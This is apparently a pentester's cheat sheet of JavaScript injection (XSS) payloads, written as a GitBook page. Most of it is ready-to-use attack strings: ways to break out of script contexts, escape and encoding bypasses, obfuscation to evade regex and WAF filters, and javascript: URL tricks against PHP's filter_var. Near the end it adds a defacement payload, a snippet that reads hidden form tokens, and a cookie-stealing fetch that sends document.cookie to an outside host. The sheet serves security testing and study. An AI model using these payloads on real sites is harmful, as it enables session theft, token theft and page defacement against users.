# Javascript Injections

## <mark style="color:yellow;">Simple Javascript Injection</mark>

### Use when input lands in a script block, but if the script tag is being filtered, use inside a string delimited value.

<figure><img src="https://3762688370-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiPHFhysABn70RkX2phf9%2Fuploads%2FYNARccUTvoUSDR1TKXvs%2Fsimple-js-injection-success.png?alt=media&#x26;token=25a3780f-b5b6-4f65-aca2-f967d813afe2" alt=""><figcaption></figcaption></figure>

#### <mark style="color:yellow;">Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload</mark>

```none
--------------------------------------------------------------------
'-alert(1)-'
'/alert(1)//

"-alert(1)-"
"/alert(1)//
--------------------------------------------------------------------
```

## <mark style="color:red;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Injection in Javascript Variable</mark> <mark style="color:green;">– Backticks Delimiter</mark>

### <mark style="color:red;">Use when input lands in a script block, but if the</mark> <mark style="color:orange;">script tag is being filtered,</mark> <mark style="color:purple;">Angle brackets encoded in an attribute,</mark> then used inside a string delimited value.

<figure><img src="https://3762688370-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiPHFhysABn70RkX2phf9%2Fuploads%2Fq35pk5ERHHr5IHJtHeFu%2FCapture.PNG?alt=media&#x26;token=8a83df75-a436-4e01-a724-eabbfc2a38d6" alt=""><figcaption></figcaption></figure>

#### <mark style="color:yellow;">Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload</mark>

```none
--------------------------------------------------------------------
`-alert(document.domain)-`
`-alert(document.domain)//
--------------------------------------------------------------------
```

## <mark style="color:red;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Javascript Injection - Escape Bypass</mark>

### Use when input lands in a script block, inside a string delimited value but quotes are escaped by a backslash.

<mark style="color:red;">**In the previous case, if the quote (which is responsible for the break out of the variable’s value) is escaped with a backslash (\\), the injection won’t work (invalid syntax). For that, we have a little trick: escaping the escape. We insert a leading backslash to escape the added one and then the quote will work to break**</mark>

<figure><img src="https://3762688370-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiPHFhysABn70RkX2phf9%2Fuploads%2FRNERzVZs8qtbi2svKvzf%2Fescaped-js-injection-success.png?alt=media&#x26;token=64a5caf1-d9a7-4c5a-8825-a5515477e4aa" alt=""><figcaption></figcaption></figure>

#### <mark style="color:yellow;">Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload</mark>

```none
--------------------------------------------------------------------
\'-alert(1)//
\'/alert(1)//

\"-alert(1)//
\"/alert(1)//
--------------------------------------------------------------------
```

## <mark style="color:red;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Javascript Injection - Quotes Encoded Filtered Bypass</mark>

### <mark style="color:red;">Use when input lands in a script block, inside a string delimited value but</mark> <mark style="color:yellow;">quotes</mark> are <mark style="color:yellow;">Encoded</mark> by a <mark style="color:yellow;">Filtered</mark>.

<figure><img src="https://3762688370-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiPHFhysABn70RkX2phf9%2Fuploads%2Fzxf4C9P6Hn0nbqSXh3h0%2FCapture.PNG?alt=media&#x26;token=84d33c15-368b-4a47-817c-0e52b7b33534" alt=""><figcaption></figcaption></figure>

#### <mark style="color:yellow;">Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload</mark>

```none
--------------------------------------------------------------------
%26apos;-alert(1)-%26apos;
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Javascript Injection - Logical Block</mark>

### Use 1st or 2nd payloads when input lands in a script block, inside a string delimited value, and inside a single logical block like function or conditional (if, else, etc). If the quote is escaped with a backslash, use 3rd or 4th payload.

```none
--------------------------------------------------------------------
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
\'}alert(1)%0A{'//
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Javascript Injection - Quoteless</mark>

### Use when there’s multi-reflection in the same line of JS code.

```none
--------------------------------------------------------------------
Simple Variables
/alert(1)//\

Simple JS Objects
}/alert(1)//\

JS Object – Nested Array
}]}/alert(1)//\

JS Object – Nested Function
}}}/alert(1)//\
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Placeholder Injection in Template Literal</mark>

### <mark style="color:red;">Use when input lands inside backticks (\`\`) delimited strings</mark> or in template engines. <mark style="color:red;">but quotes are escaped by a backslash.</mark>

```none
--------------------------------------------------------------------
${alert(1)}
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Browser Notification</mark>

### Use as an alternative to alert, prompt, and confirm popups. It requires user acceptance (1st payload) but once the user has authorized previously for that site, the 2nd one can be used.

```none
--------------------------------------------------------------------
Notification.requestPermission(x=>{new(Notification)(1)})
new(Notification)(1)
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">JS Injection - Reference Error Fix</mark>

### Use to fix the syntax of some hanging javascript code. Check the console tab in Browser Developer Tools (F12) for the respective Reference Error and replace var and function names accordingly.

```none
--------------------------------------------------------------------
';alert(1);var myObj='
';alert(1);function myFunc(){}'
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Alert without Parentheses (Strings Only)</mark>

### Use in an HTML vector or javascript injection when parentheses are not allowed and a simple alert box is enough.

```none
--------------------------------------------------------------------
alert`1`
--------------------------------------------------------------------
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">JS Injection without Parentheses</mark>

### Use in an HTML vector or javascript injection when parentheses are not allowed and PoC requires to return any target info.

````none
--------------------------------------------------------------------
setTimeout`alert\x28document.domain\x29`
setInterval`alert\x28document.domain\x29`
[].pop.constructor`alert\x28document.domain\x29```
--------------------------------------------------------------------
````

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Alert Injection Variations</mark>

### All regular ways to break out from delimiters and inject alert(1) fixing the remaining syntax (without comments).

```none
'-alert(1)-' '+alert(1)+' '>>>alert(1)>>>'   '&alert(1)&'   1'?alert(1):'
'/alert(1)/' '<alert(1)<' '>=alert(1)>='     '^alert(1)^'   '[alert(1)]-'
';alert(1);' '<<alert(1)<<' '==alert(1)=='   '|alert(1)|'   '(alert(1))-'
'*alert(1)*' '<=alert(1)<=' '===alert(1)===' '||alert(1)||' 
'**alert(1)**' '>alert(1)>' '!=alert(1)!='   '%0Aalert(1)%0A'
'%alert(1)%' '>>alert(1)>>' '!==alert(1)!==' '%0Dalert(1)%0D'
```

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">JS Injection without Alphabetic Chars</mark>

### Use when alphabetic characters are not allowed. Following is alert(1).

````none
--------------------------------------------------------------------
[]['\160\157\160']['\143\157\156\163\164\162\165\143\164\157\162']('\
141\154\145\162\164\501\51')()

[]['\160\157\160']['\143\157\156\163\164\162\165\143\164\157\162']`\
x61\x6C\x65\x72\x74\x281\x29```
--------------------------------------------------------------------
````

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:red;">Alert Obfuscation</mark> <mark style="color:yellow;">Use when Alert Keyword filtering</mark>

### <mark style="color:orange;">Avoiding keywords and specific substrings:</mark>

### Use to trick several regular expression (regex) filters. It might be combined with previous alternatives (above). The shortest option “top” can also be replaced by “window”, “parent”, “self” or “this” depending on context.

<pre class="language-none" data-line-numbers><code class="lang-none"><strong>(alert)(1)
</strong><strong>a=alert,a(1)
</strong><strong>[1].map(alert)
</strong><strong>top["al"+"ert"](1)
</strong><strong>top[/al/.source+/ert/.source](1)
</strong><strong>al\u0065rt(1)
</strong><strong>top['al\145rt'](1)
</strong><strong>top[8680439..toString(30)](1)
</strong>globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
</code></pre>

## <mark style="color:yellow;">**Calling functions**</mark>

`` alert`1` `` : <mark style="color:red;">**Template literal syntax**</mark>\
`alert.apply(this,[1])`: <mark style="color:red;">**Using Function.prototype.apply**</mark>\
`alert.call(this,1)`: <mark style="color:red;">**Using Function.prototype.call**</mark>\
`alert(1)`: <mark style="color:red;">**Obviously,**</mark> <mark style="color:red;">**but included for completeness.**</mark>\
`[1].find(alert)`: <mark style="color:red;">**Using predicates**</mark>\
`[1].filter(alert)`: <mark style="color:red;">**Using predicates**</mark>

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Alert Obfuscation - Optional Chaining</mark>

### Use to trick several regular expression (regex) filters. It might be combined with previous alternatives (above).

{% code lineNumbers="true" %}

```none
alert?.(document?.domain)
[document?.domain]?.map?.(alert)
top?.[/ale/?.source+/rt/?.source]?.(document?.[/dom/?.source+/ain/?.source])
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Alert Alternative – Write & Writeln</mark>

### Use as an alternative to alert, prompt, and confirm. If used within an HTML vector it can be used as it is but if it’s a JS injection the full “document.write” form is required. Replace “&” with “%26” and “#” with “%23” in URLs. Write can be replaced by writeln.

{% code lineNumbers="true" %}

```none
write`XSSed!`
write`<img/src/o&#78error=alert&lpar;1)&gt;`
write('\74img/src/o\156error\75alert\501\51\76')
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">JS Injection - Escaping From Functions and Methods</mark>

### Use to execute JS code when injection lands inside a function or methods of an object and it doesn’t execute automatically. The "()=>" can be replaced by "function()" if there’s a need. It breaks out from function/method and fix the remaining syntax.

{% code lineNumbers="true" %}

```none
'}alert(1)/{//
‘}alert(1);k:{
')/alert(1)//
'})/alert(1)({//
')})/alert(1)(()=>{k:(//
'}})/alert(1)(()=>{k:{//
')})})/alert(1)(()=>{({k:(//
'}})})/alert(1)(()=>{({k:{//
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Alert Alternative – Open Pseudo-Protocol</mark>

### Use as an alternative to alert, prompt, and confirm. The above tricks apply here.

{% code lineNumbers="true" %}

```none
top.open('javascript:alert(1)')
top.open`javas\cript:al\ert\x281\x29`
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Jump to URL Fragment</mark>

### Use when you need to hide some characters from your payload that would trigger a WAF for example. It makes use of the respective payload format after the URL fragment (#).

{% code lineNumbers="true" %}

```none
eval(URL.slice(-8)) #alert(1)
eval(location.hash.slice(1)) #alert(1)
document.write(decodeURI(location.hash)) #<img/src/onerror=alert(1)>
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Javascript Alternative Comments</mark>

### Use when regular javascript comments (//) are not allowed, escaped, or removed.

{% code lineNumbers="true" %}

```none
alert(1)<!--
alert(1)%0A-->
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">URL Validation Bypass</mark>

### Use to bypass the FILTER\_VALIDATE\_EMAIL flag of PHP’s filter\_var() function or similar.

{% code lineNumbers="true" %}

```none
javascript://%250Aalert(1)
javascript://%250Dalert(1)
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">URL Validation Bypass – Query Required</mark>

### Use to bypass FILTER\_VALIDATE\_EMAIL with FILTER\_FLAG\_QUERY\_REQUIRED of PHP’s filter\_var() function or similar.

{% code lineNumbers="true" %}

```none
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
javascript://%250Dalert(1)//?1
javascript://%250D1?alert(1):0
(with domain filter)
javascript://https://DOMAIN/%250Aalert(1)//1
javascript://https://DOMAIN/%250D1?alert(1):0
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">URL Validation Bypass - Alternative to %250A or %250D</mark>

### Use when %250A or %250D are not allowed.

{% code lineNumbers="true" %}

```none
javascript://%E2%80%A9alert(1)
javascript://%E2%80%A9alert(1)//?1
javascript://%E2%80%A91?alert(1):0
javascript://https://DOMAIN/%E2%80%A91?alert(1):0
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">JS Injection Bypass inside Event Handler</mark>

### Use when injection is possible inside an event handler like in “onenvent=someFunction('HERE')” and quotes are escaped.

{% code lineNumbers="true" %}

```none
&apos;-alert(1)-&apos;
&quot;-alert(1)-&quot;
%26apos;-alert(1)-%26apos;
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Simple Virtual Defacement</mark>

### Use to change how the site will appear to the victim providing HTML code. In the example below a “Not Found” message is displayed.

{% code lineNumbers="true" %}

```none
documentElement.innerHTML='<h1>Not Found</h1>'
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Cookie Stealing</mark>

### Use to get all cookies from the victim user set by the target site. It can’t get cookies protected by the httpOnly security flag. Encode “+” as “%2B” in URLs.

{% code lineNumbers="true" %}

```none
fetch('//brutelogic.com.br/?c='+document.cookie)
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Alternative PoC - Shake Your Body</mark>

### Use to shake all the visible elements of the page as a good visualization of the vulnerability.

{% code lineNumbers="true" %}

```none
setInterval(k=>{b=document.body.style,b.marginTop=(b.marginTop=='4px')?'-4px':'4px';},5)
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>

## <mark style="color:yellow;">Alternative PoC - Alert Hidden Values</mark>

### Use to prove that all hidden HTML values like tokens and nonces in the target page can be stolen.

{% code lineNumbers="true" %}

```none
f=document.forms;for(i=0;i<f.length;i++){e=f[i].elements;
for(n in e){if(e[n].type=='hidden'){alert(e[n].name+': '+e[n].value)}}}
```

{% endcode %}

## <mark style="color:yellow;">---------------------------------------------------------------</mark>
